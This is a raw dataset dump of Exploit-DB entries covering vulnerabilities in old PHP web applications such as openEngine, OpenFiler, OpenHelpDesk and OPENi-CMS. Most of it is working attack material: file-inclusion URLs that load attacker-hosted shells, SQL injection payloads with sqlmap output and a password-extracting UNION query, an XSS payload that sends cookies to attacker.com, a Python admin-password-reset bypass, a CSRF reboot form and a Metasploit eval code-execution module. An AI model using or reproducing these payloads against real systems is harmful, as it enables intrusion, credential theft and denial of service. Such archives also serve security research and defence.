deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6585
Description: openEngine 2.0 beta2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-26
Author: Crackers_Child

Exploit:
**************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : str0ke & All My Friends

**************************************************************************************
Script   : openEngine 2. 0 beta2 Remote File include Vulnerable
Download :http://downloads.sourceforge.net/openengine/openengine20_beta2.zip?modtime=[PII_REDACTED]&big_mirror=0

**************************************************************************************

Exploit : Site.com/script_path/cms/classes/openengine/filepool.php?oe_classpath=Shellz?


**************************************************************************************

Vulberable : include($oe_classpath."/openengine/thumbnail.php"); (filepool.php)


**************************************************************************************

N0te : Mubarek Ramazan Bayraminiz Kutlu Olsun Ey Musluman Halki :)
**************************************************************************************

# milw0rm.com [2008-09-26]
Exploit-DB #6571
Description: openEngine 2.0 beta4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-25
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ########################################################################
 #  [ openEngine <= 2.0 beta4 ]   Remote File Inclusion Vulnerability   #
 ########################################################################
 #
 # Script: "Open Source Web Content Management Systems openEngine"
 #
 # Script site: http://www.openengine.de/
 # Download:  http://sourceforge.net/projects/openengine/
 #
 # Vuln: http://site.com/[openengine20]/cms/system/openengine.php?oe_classpath=[spread???]
 #      
 #
 # Bug: ./openengine20/cms/system/openengine.php
 #
 # ...
 # 	require($oe_classpath."/openengine/database/mysql.php");
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-25]
Exploit-DB #41087
Description: Openexpert 0.5.17 - 'area_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-17
Author: Nassim Asrir

Exploit:
# Title : Openexpert 0.5.17  - Sql Injection
# Author: Nassim Asrir
# Author Company: Henceforth
# Tested on: Winxp sp3 - win7
# Vendor: https://sourceforge.net/projects/law-expert/
# Download Software: https://sourceforge.net/projects/law-expert/files/

#################################################

## About The Product : ##

OpenExpert. Dual use Web based and Easy to Use Expert System or Education System.

## Vulnerability : ## 

- Vulnerable Parametre : area_id

- HTTP Method : GET

- To exploit it : http://HOST/expert_wizard.php?area_id=1'

- Sqlmap Output : 

Parameter: area_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: area_id=1 AND 4961=4961

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: area_id=1 AND (SELECT 8855 FROM(SELECT COUNT(*),CONCAT(0x7171706a71,(SELECT (ELT(8855=8855,1))),0x71626b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: area_id=1 AND SLEEP(5)
---
[15:35:38] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.26
back-end DBMS: MySQL >= 5.0
[15:35:38] [INFO] fetching database names
[15:35:39] [INFO] the SQL query used returns 5 entries
[15:35:39] [INFO] retrieved: information_schema
[15:35:39] [INFO] retrieved: mysql
[15:35:39] [INFO] retrieved: performance_schema
[15:35:39] [INFO] retrieved: sys
[15:35:39] [INFO] retrieved: test
Exploit-DB #27821
Description: OpenFAQ 0.4 - 'Validate.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-05-06
Author: Kamil Sienicki

Exploit:
source: https://www.securityfocus.com/bid/17860/info

OpenFAQ is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Example exploit: <form action=http://host/openfaq-0.4.0/submit.php?ask=go method=post> <input type=text name=q value="<SCRIPT>document.location='http://attacker.com/get.cgi? value='+escape(document.cookie)</SCRIPT>"> <input type=hidden name=email> <input type=submit value=Submit> </form>
Exploit-DB #35125
Description: OpenFiler - 'device' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-21
Author: db.pub.mail

Exploit:
source: https://www.securityfocus.com/bid/45523/info

Openfiler is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/admin/system.html?step=2&device=et%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Ebh0
Exploit-DB #7972
Description: OpenFiler 2.3 - (Authentication Bypass) Remote Password Change
Type: webapps
Platform: php
Date: 2009-02-03
Author: nonroot

Exploit:
#Exploit code (PoC) for OpenFiler 2.3 (current)
#by just a nonroot user
#http://nonroot.blogspot.com/
#
import urllib,sys,re
#host example: https://192.168.20.5:446/
host=raw_input("OpenFiler system ( include http and /): ")
#Super admin user
user='openfiler'
#What pass do you want?
[CREDENTIAL_REDACTED]'
#use it please ;)
fake="myladyastridcita"
data= urllib.urlencode({'current_password':fake , 'passcookie': fake, 'usercookie': user,'new_password': password,'confirm_new_password': password,'userauthenticated':"666"})
response= urllib.urlopen(host+"account/password.html", data)
data=response.read()
lookup=re.compile("successfully").search
match=lookup(data)
if not  match:
    print "Ok, now go and login with user:", user, " and password: ", password, " in ",host
else:
    print "Exploit failed, sorry, go and find some new bug or check this code and fix it!"
    sys.exit(2)
sys.exit(0)

# milw0rm.com [2009-02-03]
Exploit-DB #37789
Description: OpenFiler 2.3 - Multiple Cross-Site Scripting / Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-06
Author: Brendan Coles

Exploit:
source: https://www.securityfocus.com/bid/55500/info

Openfiler is prone to multiple cross-site scripting and information disclosure vulnerabilities.

An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Openfiler versions 2.3, 2.99.1 and 2.99.2 are vulnerable; other versions may also be affected. 

https://www.example.com/admin/system.html?step=2&device="><script>alert(document.cookie);</script><p+"

https://www.example.com/admin/volumes_iscsi_targets.html?targetName="><script>alert(document.cookie);</script><p+"

https://www.example.com/phpinfo.html

https://www.example.com/uptime.html
Exploit-DB #34818
Description: OpenFiler 2.99.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-09-29
Author: Dolev Farhi

Exploit:
<!--
# Exploit Title: DoS via CSRF in openfiler
# Exploit author: Dolev Farhi @dolevff
# Date 07/05/2014
# Vendor homepage: http://www.openfiler.com
# Affected Software version: 2.99.1
# Alerted vendor: 7.5.14
# CVE: N/A
 
 
Software Description
=====================
Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based
Storage Area Networking functionality in a single cohesive framework.
 
 
 
Vulnerability Description
=========================
it is possible to shutdown/reboot a server running openfiler and cause denial of service via CSRF due to missing session tokens.
 
 
Steps to reproduce / PoC:
=========================
-->
<html>
<div align="center">
<pre>

<h2><b>DoS <b></h2>
<body>
<form
action="https://ip.add.re.ss:446/admin/system_shutdown.html"
method="POST">
<input type="hidden" name="shutdowntype" value="reboot" />
<input type="hidden" name="delay" value="0" />
<input type="hidden" name="action" value="Shutdown" />
<input type="submit" name="submit" value="Attack" />
    </form>
    </body>
</div>
</html>
Exploit-DB #12366
Description: Openfoncier 2.00 - Local File Inclusion / Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-24
Author: cr4wl3r

Exploit:
==============================================================
Openfoncier 2.00 (RFI/LFI) Multiple File Include Vulnerability
==============================================================

[+] Openfoncier 2.00 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4567/openmairie_foncier_2.00.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://shell4u.tk/[path]/obj/action.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/architecte.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/avis.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/bible.class.php?path_om=[Shell]
http://shell4u.tk/[path]/obj/blocnote.class.php?path_om=[Shell]

[~] LFI:
http://shell4u.tk/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-04-24]
Exploit-DB #7863
Description: OpenGoo 1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-25
Author: fuzion

Exploit:
OpenGoo 1.1 Local File Inclusion
http://www.opengoo.org/

magic_quotes_gpc = Off
register_globals = On

http://site/opengoo/public/upgrade/index.php
POST: form_data[script_class]=/../../../../../../../../../../../etc/passwd%00.html

Author Notified: Jan. 18

http://nukeit.org

# milw0rm.com [2009-01-25]
Exploit-DB #28111
Description: OpenGuestbook 0.5 - 'header.php?title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-26
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/18666/info

OpenGuestbook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/openguestbook/header.php?title=</title>[XSS]
Exploit-DB #28112
Description: OpenGuestbook 0.5 - 'view.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-26
Author: simo64

Exploit:
source: https://www.securityfocus.com/bid/18666/info
 
OpenGuestbook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/openguestbook/view.php?offset=[SQL]
Exploit-DB #7949
Description: OpenHelpDesk 1.0.100 - 'eval()' Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2009-02-02
Author: LSO

Exploit:
##
# $Id: php_eval.rb 5783 2008-10-23 02:43:21Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'OpenHelpDesk eval (previously unpublished)',
			'Description'    => %q{
				OpenHelpDesk version 1.0.100 is vulnerable to a php code
				execution vulnerability due to improper use of eval().
				The php.ini register_globals directive is *not* required to be
				on to exploit this vulnerability.  There is no known public
				exploit for this vulnerability.
			},
			'Author'         => [ 'LSO <lso@hushmail.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [ 'URL' , 'http://sourceforge.net/projects/openhelpdesk' ],
			'Privileged'     => false,
			'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
			'Payload'        => 
				{
					'Space'       => 4000,  # max url length for some old
											# versions of apache according to
											# http://www.boutell.com/newfaq/misc/urllength.html
					'DisableNops' => true,
					'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
					'Compat'      => 
						{
							'ConnectionType' => 'find',
						},
					'Keys'        => ['php'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget' => 0
			))

		register_options(
			[
				OptString.new('URIPATH',   [ true,  "The URI of ajax.php ", '/openhelpdesk/ajax.php']),
			], self.class)
	
	end

	def check
		tester = rand_text_alpha(10)
		php_code = "echo('#{tester}');"

		response = eval_sploit(php_code)

		#print_status(response)
		if (response && response.body.match(tester).to_a.first)
			print_status("PHP code execution achieved; safe_mode or disable_functions might still prevent host compromise")
			checkcode = Exploit::CheckCode::Vulnerable
		else
			checkcode = Exploit::CheckCode::Safe
		end
		return checkcode
	end

	def exploit
		response = eval_sploit(payload.encoded)

		handler
	end

	def eval_sploit(php_code)
		uri  = datastore['URIPATH'] + "?function=" + php_code + "//"
		response = send_request_raw({ 'uri' => uri },1)
		return response
	end
end

# milw0rm.com [2009-02-02]
Exploit-DB #2344
Description: OPENi-CMS 1.0.1beta - 'config' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-11
Author: basher13

Exploit:
Update:
22:44 09/11/06

Subject:
"OPENi-CMS 1.0.1(config) Remote File Inclusion Vulnerability "

Vulnerable version:
OPENi-CMS 1.0.1

Operating System:
- All OS

Vendor URL:
Support - support@openi-cms.org
Website - http://www.openi-cms.org/

Description:
Openi-CMS he one software PHP Content Management System with facilities 
wysiwyg the editor, plugin, user management to facilitate arranged as 
well as the difference style website 


Vulnerability:
Invalid include function at fileloader.php on line at 5,6 and 7,the 
'$config["openi_dir"]' is not gurantee to including a files. 

// openi-admin/base/fileloader.php

include_once($config["openi_dir"]."/base/constants.php"); // invalid code
include_once($config["openi_dir"]."/base/db_classes.php"); // invalid code
include_once($config["openi_dir"]."/base/site_classes.php"); // invalid code

Exploit:
http://[url]/[path]/openi-admin/base/fileloader.php?config[openi_dir]=[url_inclusion_exploit]

Solution:
upgrade next version

Published by:
basher13 (Infam0us Gr0up - Securiti Research)
basher13@linuxmail.org / www.xcrime-cyber.pro.tc

# milw0rm.com [2006-09-11]
Exploit-DB #3292
Description: OPENi-CMS Site Protection Plugin - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-11
Author: y3dips

Exploit:
------------------------------------------------------------------------------------
[ECHO_ADV_64$2007] Openi CMS plugins (site protection) remote file inclusion
------------------------------------------------------------------------------------

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : February, 11 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv64-y3dips-2007.txt
Critical Lvl : Critical
------------------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Internal range (site protection), version: 1.0
Openi CMS plugins (http://www.openi-cms.org)
URL : http://www.openi-cms.org
Download-path : http://www.openi-cms.org/oi-download.php/45/file_src/oi_plugin_site_protection_1_0.zip

Description : With this Plugin you can release page ranges only for certain users. The user
must authentifizieren itself with user name and password. Several users for
a page range can be put on. Users and sides which can be protected are put on
in the editorship environment by the administrator.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

Variables "oi_dir" in index.php are not properly sanitized.

---------------index.php --------------------
...
<?PHP
global $config;
require_once($config["oi_dir"]."/base/sitemap_classes.php");

class plg_site_protection extends Plugin {
...
----------------------------------------------


An attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~~~~~

http://target-openi/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://attacker/shell.php ?

Notes:
~~~~~~

i have to change the variable "oi_dir" to "openi_dir" to get the cms works (config file),
but then u just change the exploit to

http://target-openi/open-admin/plugins/site_protection/index.php?config%5bopeni_dir%5d=http://attacker/shell.php?

it doesnt matter coz the variable still unsanitized.

---------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ my lovely ana
~ k-159 (never stop advising [pushing] me :P), the_day (echo young evil thinker),
~ and all echo staff
~ str0ke, waraxe, negative
~ newbie_hacker@yahoogroups.com
~ #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~~~

y3dips|| echo|staff || y3dips[at]gmail[dot]com
Homepage: http://y3dips.echo.or.id/

# milw0rm.com [2007-02-11]
Exploit-DB #6228
Description: OpenImpro 1.1 - 'image.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-10
Author: nuclear

Exploit:
#OpenImpro 1.1(id) Sql Injection Vulnerability



#Author: nuclear



#script: http://downloads.sourceforge.net/openimpro/openimpro-1.1.zip



#exploit: target.com/image.php?id=-1 union select 1,2,concat(firstname,0x3a,lastname,0x3a,password),4,5,6 from im_person --


#Description:
when you do the injection you will be asked to download a file called image.php . Save it,open with any
texteditor and get your password ;).


#greetz cAs, Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, and me :P

# milw0rm.com [2008-08-10]
Exploit-DB #33674
Description: OpenInferno OI.Blogs 1.0 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-02-24
Author: JIKO

Exploit:
source: https://www.securityfocus.com/bid/38402/info

OpenInferno OI.Blogs is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

OpenInferno OI.Blogs 1.0.0 is vulnerable; other versions may also be affected.

The following example URIs are available:

http://www.example.com/templates/loadStyles.php?theme=file%00
http://www.example.com/sources/javascript/loadScripts.php?scripts=[file]%00

The following example data is available:

javascript:document.cookie="installerFile=[FIle];path='/upload/admin/plugins'